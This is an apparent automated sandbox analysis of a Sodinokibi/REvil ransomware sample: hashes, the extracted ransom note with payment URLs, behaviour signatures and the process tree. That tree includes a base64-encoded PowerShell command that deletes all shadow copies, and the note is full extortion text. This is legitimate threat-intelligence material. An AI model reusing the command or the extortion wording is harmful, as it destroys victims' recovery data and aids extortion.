Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/01/2022, 00:48

General

  • Target
    e5ef61799ae020e426b7e2a4763c053323d2ca12a5d1bd5ed5984e134446eba7.exe
  • Size 155KB
  • Sample220124-a56a7sghfp
  • SHA256 e5ef61799ae020e426b7e2a4763c053323d2ca12a5d1bd5ed5984e134446eba7
  • MD5 SHA1 SHA512

Malware Config

Extracted

Path
  • C:\ibmpez3sn-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion ibmpez3sn. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DDB01E03B3E9B61C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DDB01E03B3E9B61C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: s8/B+4VG5mixvbFOPkM7fka84K5PWsU/1aDJ3npWkMmfcDhbl7e6aofwjRcA/GFU k/s7Gj8bSkv8NG9Rkmu5zByt8yzjlla3fr4b5tqV30yk9AkAExatGUn0xlIcPB3B xLRC6g+v9jnKePhnydd/zQCfXgTPNt3ity3Dk+G2NHDcrZKZ6TEmwlz1eWWi9UwJ wdQhsXAhFx1zoxNSZXzgs99BVK9I5A80MTBOdcOdJHbQcSvW4wESa677rpIs+fE6 dNwe6cfbUa42D66Qip5Bkv166GW7vEtGJfcLr6PpmtS4gH4APGmIJ1mpPU/k5qX1 VqD/FVLguzVsxZKHubl2d0Mvhnf35+H1CuB5JHe0uYsBq1QaYnACjFzhQN4jVjLu yJEzoZRIE49vP8knVLDtV/9Rd8JP4JiPr3t8hG4VK5QXqfsgz2YVSU3FxlPvxWZB xNXsXc8xW2fcVhDB4P6QGijOnYKtIcjQ+cNn+/jbYqvgEHKMcOcyfehfVQDDaQxY jKZlH0ZdwXKbgHC29PjYQ0mlLXoyEzOPMpWgd6VENfnKf4XKMW+MbASnTWTX9/TS vw15qDS2ySkVb9RGPOxbd2RXX110r32ciGXrnzFxv1wZxV+xKT3SCw0iRE7zxjUf F3MBWNjlk58wFHWtD+/BteKj5IoRz0i0iX3FYirqfV6iZRXbBbKdTtXyjDs/cd47 DrerILVObWX+AYcVOFE2Egt21sZenxRsgEN2eoTSS5Cif1PRG/v/CASaF1+i84GC dhrilS9BwnbmnzPLHTy9Obs5fTbb29yCAmwpqCNT9D0P1+XD48R6wUxfUExJIPxD AxqaLdpTed5CSkPIEq/Y/8+DCmyg+oPdzUjUSr/Upg96nB5rxlvTv9/52TOn9nlC U+MtmbPNkwY2NP0cjoZcwd81fO5kWk6WvLH4lmifNprp8LLO3uhF12qI6x388USR UJhuXNbOGNsx6ACIWrcWZIG+/9vPDweF+pGWkrrDqq8aiU9eC8Lo3djkccemgugF zl8SFpzY5PXXgPvWnYsttlGQsgQ0tNwe4Z9ylDVbaRWAnsjzW1z1k3pb2SJKRsbs Dt318arOK7+CxhkphPd7lEoOwG/VP0ha3gEzoxVl1LnUwsBpmf9DJuI2FkH5fSiX ugJUuT3hr1vXZ3B303L49M/2sScrMG22Z1wSEilIbAKjvns6+9jpWWGCmr63R5iv xFl2LAHLv9BRwCzeSScf5koGQYwioO9IBaCWTE0oG8F3A5bRCEYZuKC+AohxD19M FFOfIJstyFyg7IJuQSOaOdFJBQD6uw== Extension name: ibmpez3sn ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DDB01E03B3E9B61C

  • http://decryptor.cc/DDB01E03B3E9B61C

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e5ef61799ae020e426b7e2a4763c053323d2ca12a5d1bd5ed5984e134446eba7.exe
    "C:\Users\Admin\AppData\Local\Temp\e5ef61799ae020e426b7e2a4763c053323d2ca12a5d1bd5ed5984e134446eba7.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1232
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3296
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1224

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1232-119-0x00000181B6920000-0x00000181B6942000-memory.dmp

          memory/1232-123-0x00000181B7410000-0x00000181B7486000-memory.dmp

          memory/1232-135-0x000001819E750000-0x00000181B68B0000-memory.dmp